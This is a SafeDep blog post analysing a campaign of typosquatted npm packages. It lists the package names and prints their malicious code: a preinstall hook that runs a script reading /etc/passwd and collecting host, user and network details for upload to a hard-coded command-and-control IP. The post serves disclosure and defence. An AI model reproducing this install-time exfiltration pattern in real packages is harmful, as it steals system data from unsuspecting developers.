npm - The Playground for Malicious Packages
Table of Contents
Today our OSS package malware analysis bot picked up a new campaign targeting developers using npm. The campaign involves publishing multiple npm packages that impersonate popular package names. These packages are being used to collect basic system information and the contents of /etc/passwd file from the infected systems.
Our system picked up the following packages with very similar behaviour matching common information gathering techniques:
| Package Name | Version |
|---|---|
| themes-vendor | 0.0.1 |
| x509-escaping | 0.0.1 |
| keycloak-server | 0.0.1 |
| module-stub | 0.0.1 |
| keycloak-server | 0.0.3 |
| postject-copy | 0.0.0 |
| micrometer-docs | 0.0.3 |
| orbit-playroom | 0.0.0 |
| x509-escaping | 0.0.0 |
| weekendfe | 0.0.1 |
| themes-vendor | 0.0.0 |
npm promptly removed these packages from the registry. This was possible because no other package depended on these malicious packages. All packages had a similar payload that was being executed when the package was installed. For example, themes-vendor shipped a package.json file with the following
{ "name": "themes-vendor", "version": "0.0.1", "description": "", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "preinstall": "node index.js" }, "author": "", "license": "ISC"}The preinstall script in the package.json file executed the index.js script which in turn executed the following code:
const apiHostname = '13.60.183.44';const apiPort = 5000;const apiPath = '/submit';
// [...]let whoamiInfo = '';try { // Execute the 'whoami' command and trim the output whoamiInfo = execSync('cat /etc/passwd', { encoding: 'utf-8' }).trim();} catch (error) { whoamiInfo = `Error executing whoami: ${error.message}`;}
// [...]const deviceInfo = { platform: os.platform(), release: os.release(), hostname: os.hostname(), arch: os.arch(), userInfo: os.userInfo(), networkInterfaces: os.networkInterfaces(), whoamiinfo: whoamiInfo, user: 'themes-vendor',};The command and control IP 13.60.183.44 belongs to AWS which along with the nature of the payload suggests that this campaign is a possible red-team or security research activity.
NetRange: 13.60.0.0 - 13.63.255.255CIDR: 13.60.0.0/14NetName: AMAZO-4NetHandle: NET-13-60-0-0-1Parent: NET13 (NET-13-0-0-0-0)NetType: Direct AllocationOriginAS:Organization: Amazon.com, Inc. (AMAZO-4)RegDate: 2022-10-11Updated: 2022-10-11Ref: https://rdap.arin.net/registry/ip/13.60.0.0Conclusion
This campaign appears to be a playground for the attackers or possible red-teamers to test their malware distribution techniques. While the payload does not appear to be sophisticated or damaging, it still highlights the very real threat of malicious packages impersonating popular package names.
- npm
- malware
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

Malicious npm Package react-refresh-update Drops Cross-Platform Trojan on Developer Machines
A malicious npm package impersonating react-refresh, Meta's library with 42 million weekly downloads, was detected by SafeDep. The package injects a two-layer obfuscated dropper into runtime.js that...

Threat Modeling the AI-Native SDLC: Supply Chain Security in the Age of Coding Agents
AI agents are rewriting the software development lifecycle. From vibe coding to autonomous CI/CD, every phase now involves an LLM making decisions about your code and dependencies. Here is a threat...

How to Write Time-Based Security Policies in SafeDep vet
Protect against unknown malicious open source packages by enforcing a supply chain cooling-off period using the now() CEL function in SafeDep vet.

Malicious npm Package pino-sdk-v2 Exfiltrates Secrets to Discord
A malicious npm package impersonating the popular pino logger was detected by SafeDep. The package hides obfuscated code inside a legitimate library file to steal environment secrets and send them to...

Ship Code
Not Malware
Install the SafeDep GitHub App to keep malicious packages out of your repos.
